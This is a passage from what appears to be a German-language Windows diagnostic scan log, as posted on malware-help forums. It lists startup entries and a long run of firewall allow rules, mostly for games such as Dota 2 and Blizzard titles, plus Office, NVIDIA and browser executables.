HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "OneDrive"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Skype"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Steam"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "DAEMON Tools Ultra Agent"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "HP ENVY 4520 series (NET)"
 

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139

FirewallRules: [{7D0611DC-87D8-406D-AE24-23F6AA3A9BC8}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{23EFFCF8-E204-486D-8985-35F50AAC7E7A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6DDC486-9083-456D-9AC6-5C26257A51A0}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{4CF0F164-BD6B-4C55-AFB7-05BB77F22C87}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{6C2F9177-6FED-492E-9E45-4FA394BF35DC}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{4DFDE64C-22F3-4186-9740-79B05048B7EB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{10BA93CD-9F5F-42E9-816A-64A3A52090A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE84816-6D3D-4307-A3F0-EE24BBBECEE1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{49A0F2AB-022F-4EE8-BABD-643CE19CD518}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{01C43216-6CA9-42B2-B799-92D86D3310D2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3A79D5B5-B9B8-4A82-8C44-D1C851DBDB8F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{EEA660A7-3B94-4985-B8C8-9354E6F39A76}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7AF03405-FD89-40E8-B8B2-FF774C3EC389}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [{5F065F0C-534B-4829-BC07-C2C79F090803}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [UDP Query User{7F2ACCAA-31F6-4848-9005-EF3F45EF5661}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [TCP Query User{4607FD40-C476-4D55-A0E5-299D8D818333}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [UDP Query User{E4C37615-9561-4FEC-B46A-A59061C7DA32}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [TCP Query User{7CB62AEF-5811-40EE-A581-2D8443F49A9A}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [{402B93D0-E69C-4C57-B4ED-57863DBE8E56}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{913E64CD-CEBE-42FC-B75F-50AC52850107}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{A46CEC6C-741C-4F08-B7CE-7B851B4BBC84}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [TCP Query User{71F507F3-2C79-42B6-B82D-BB656B193B5C}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [UDP Query User{3E7831B8-5AD1-401A-B4FE-FE862779F413}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [TCP Query User{AC48CC9C-BEEB-41F8-B6FE-BDE9594E996A}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [{E709CF75-200F-4F69-BA64-6DC325D6E4D8}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{2A97E5CC-CDE3-4833-B786-780A36477E78}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{5E1D53C5-16C7-41D8-8F60-5C45F1F883E4}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{3B8F01F2-44B4-48F1-893E-F25A6B5A80A6}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{CCCA6BFF-D475-4AB1-8714-67231C30B171}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{801303BD-D483-45F9-8BE4-0C3092210BFA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7B2B89EC-B084-4775-909E-1E436A8CCEE0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9BC25817-B7F2-4E86-B78C-D190A59CDDC0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{82DAAF33-AB25-4F77-B2DE-2A08EA76CE8E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D881E7B1-3C84-4951-9113-200ADD8C57D3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{437CD7DC-FAA4-46BD-8E05-D2038926F1DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3ADA770B-6B5A-4072-8A7F-7426703317D1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{A09BC896-94A9-43AF-8349-AF24CBB0E9DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{698729B4-F743-4C8D-B638-22B026E7476C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{31E35830-FF05-4270-B952-45F331BCF7E2}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{02162ABF-48A1-40D9-9FDE-497FCA82022C}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [{18052865-7A27-4EB6-87C3-2A124516D252}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{136DA40C-399A-4957-B063-E65635B57C01}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79DFFE54-2093-4DB7-9DEC-8F1C327CC4A9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2D0D03FD-E381-4621-9462-9B866A2A02BE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6C1355F-097F-4C1F-B048-FA9D00EC563D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4EE80D68-A42F-4644-B2B4-EEFBA1D991C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{9372E204-7160-4101-8EC5-940766D5730F}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [TCP Query User{45C2CE56-998B-426C-975B-4C3F21D71052}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [{B7E6FEB9-5123-4349-952E-83EC9E0453C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C5047B19-7C93-4444-88E0-CD4595D3C1A3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C44C1673-EAB1-4CE1-ABFF-239AA777E102}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8F5F4CA-9870-4E19-880E-C8E7DDBD5EFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{B70DDCB0-378D-4473-BDAD-659DEFA9A185}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [TCP Query User{C101FBC7-665A-430C-B94B-4DC081DE017B}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [{F5BFB382-48AB-474F-8147-7258DACA99F9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2C4FCF9E-6DA7-49B6-9B60-FDCA6DA45A11}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F3EB37A0-86EC-417D-A277-B84906E63A4F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{110C40BC-BF07-4859-80D8-725400F0D98A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1A38DC04-B5BD-48D9-9981-CD21E114FF5E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F4FD4A06-943E-405D-8206-65AC272DF70F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE8D090-0D11-498B-BDA5-52D143E2DB4A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{933709EE-90F2-4133-9D31-EAE0B7F8B6A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{41579014-8F15-4E76-8760-60834F795ECB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C3AB4D8B-CAF0-4B45-87C9-86E62AD4B739}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79C012EB-D874-4406-BB39-66E16C0045B1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F2A0119D-BE15-49A5-9C01-E0A94D44CF4D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8B74A98-3A88-42C1-9B54-ED4C8075EDF7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{ABB92F30-3494-4450-8E17-35E5A51E8841}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7C367DCA-7076-476E-B6F7-47B2DE4EBE3C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8236C729-4359-432B-92BC-59CFF7D77BBB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1C0FB2B6-FC5E-49AB-B7C9-E56234A4C918}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2531BD16-FC00-4CBD-825F-04B4AC574A39}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C49896D4-6219-4FFD-903A-B4C59FD53960}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6921994C-A050-4142-A0A7-24309EB0B0CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{112D9B6E-C2F2-489C-8485-8A2E4F7D30E3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF9FA2D6-596C-40F0-8827-96CB2BD1D0DD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B7AD7E15-6155-4676-8EE3-C2C66B5CB20F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{410FBA75-F1F7-4ED9-822D-311A79FC9E7E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6E7793D2-3924-4C1A-93D9-99C631532506}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\HPNetworkCommunicatorCom.exe

FirewallRules: [{8901CADF-0B01-4DB1-9DDD-EC0AE6F72C09}] => (Allow) LPort=5357

FirewallRules: [{553C8532-63BC-4FA0-9CF2-3754E35245B0}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\DeviceSetup.exe

FirewallRules: [{B454DE81-4121-4D5B-98DA-EB7E3AFC9B72}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5AA5E766-9343-4B7C-B696-E11CF4FBB799}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{816DA247-8660-4953-AD9E-8B14BFAF8C0B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9D866496-087F-472B-B313-E35A702D9D2B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0CBE440-855D-4E82-9E61-6D17C1571721}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2AE9117C-1D43-4ED5-9F29-14117E3429A2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4B464F14-9E75-4F33-AB27-7226D29E9678}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{86D9483A-FA99-4ADA-A3EE-E5A6E4E7A2E5}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{AEF76242-CA70-4EDE-B14E-7D8784E4F368}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{EB487EE1-9C70-48AC-97B9-3BFAC06E7121}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [{8CBEE266-AD4C-4738-8F28-26CAF7DFA309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CFF661B5-5B5E-4986-BD89-45D334143A48}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D0048B4D-1FBB-451B-B630-473D9DE0A5CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF3DEACA-0759-4C85-96BF-82CF2A16E937}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{339EF314-F39F-44DC-8E53-59D323BE0C9C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8CFE5BA-85C1-47B4-A407-A0BBEAE19FAD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6A425000-0AF9-4324-9CFF-5951A4218445}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D4A7932A-C6DF-4C57-A1E4-D0558EC0E462}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{779AFC5C-D10A-4510-9A19-21B6FD3402AE}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [TCP Query User{6B25C7B2-DA39-4255-B591-4D64C8CA02A8}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [{5D8D978A-DB15-47B5-89D5-734A760B7A51}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{05D000CE-07B9-4974-A174-1C647EAC7543}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7EBDB01-D5A4-4F07-91D0-9BCB47E43AEF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2E6371E-3ACF-4310-960F-6C3CD4F13A37}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F307D1AF-9A43-457B-9C16-05B86AC42F30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{47C36104-9481-4D5F-A85F-FADAF2000416}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CF9D4E0D-6F2B-4493-A82D-7CD572708136}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D89F2BE9-2C07-480B-939A-AA25A677A366}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{FFAD50D1-18C6-479C-9087-C3A173E98A8C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{BD373ECD-F038-4F23-8DB3-4466231C0FFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2E4F0D97-68D6-4316-AA6D-D243F3BE4E16}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7771CF6B-9BDE-49BD-A41A-45CCF7C0EEEA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7BD1525-8C65-40B1-AFDD-22174B557C79}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5D2E7CF4-1357-47BD-B7AD-A63014F4312C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{15760D5E-0416-4E4C-8CD6-02AA8735EB5F}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [TCP Query User{331B2A1E-C893-4BD7-8FD1-E9B932FBB7E6}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [UDP Query User{A15E6547-9B11-4FC2-A44E-89006B71F352}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [TCP Query User{ED574F3A-B2C7-4411-82AA-9C158DC2DB9C}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [{8E8AA40B-415E-4E76-B615-5E5113246074}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F82E75A0-F58C-42DF-A2E2-ED42168F6A8A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{4EE5130D-729D-4064-B440-1AE1CB6933D3}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [TCP Query User{6937723B-70E3-4564-ACAA-ED541548A596}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [{D965CBFC-06C7-4D70-9ADC-1AC2077B5B53}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F620B299-2563-4DF8-B7BF-64CEF8CE5D73}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{58A7CEAC-BD89-4906-8802-CC7EAA2D5CA3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{D4DAC0C6-FDE9-41F0-B9FD-D751A80A083D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{6C509364-8BAA-4FF3-8F21-35BDFE9F4E9B}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BAD19D4C-6D25-4F9D-9337-314AE17FF150}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BFE4213B-CC35-4711-8BE8-918C239CAFEB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{88950193-384B-4394-B893-9D9B67417B86}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{3AACE4DF-D7B6-408E-BB43-A32052AC0D33}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{E4085E2C-1441-481E-8498-716301809904}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0F06C56-5C5D-4191-AE97-CA80ADE0C6CF}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{34051D0E-6847-4CED-A111-DBA345847DD0}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{2C276577-70DE-41F9-9AC8-240C8D1B71E1}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{EBCB342C-E889-46B6-A155-FF0EEEBA40DB}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{54BCAE60-FAE6-4E7E-B768-8779857E84F1}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe

FirewallRules: [{5207AEB2-4136-4BAA-84BC-70B41C9ABE4A}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{F28BF37D-8969-4915-97CC-4ED8875972FD}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{CBFE2ED2-36E9-4974-BEF0-A081E5A8E85F}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe

FirewallRules: [{DC70CB90-4841-43F5-9122-1FBB3B2F121D}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{1DA07592-B958-435C-B9C8-2F2BFD0140E1}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{04C83F46-AC54-4B51-BAFE-50EB14006008}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{472AFE3F-0033-4132-938D-A746C1200CB6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [TCP Query User{7B88EF8D-96CE-4216-AF6C-AC0628B4AD77}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [UDP Query User{431CA897-6069-458F-A5ED-50B246344709}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [{9AE7186B-4072-471A-B309-3CB05922FB70}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C9478BC4-3E1E-4BFD-8A11-CEE96FC36F22}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0D031CF2-BC49-490C-911B-E9C8E76463EB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8CC5D0BE-0665-4D2D-8262-662FD557D1AF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{181DA604-349F-43BF-8201-2C94BA0D16F2}] => (Allow) C:\Program Files (x86)\Everbean\Application\chrome.exe

FirewallRules: [{E55F8F6F-CBF5-486C-8090-5F92B493C03D}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

FirewallRules: [{DE60D1F8-DC68-461A-A7AF-2A65B60C1E30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C320652F-AACF-4EDA-9AA6-C786FFA63117}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AC896D46-11F7-494A-AB9F-DC11924FC941}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{71C6581E-CF1A-4960-995D-5620AF77C7EF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0B0F6BBC-B133-4D78-ABE8-44C606F97BB2}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

FirewallRules: [{3CEAAE20-4595-40D4-8251-382FE28AC8E7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9EBD0BD6-B439-458E-81A2-595108D71309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

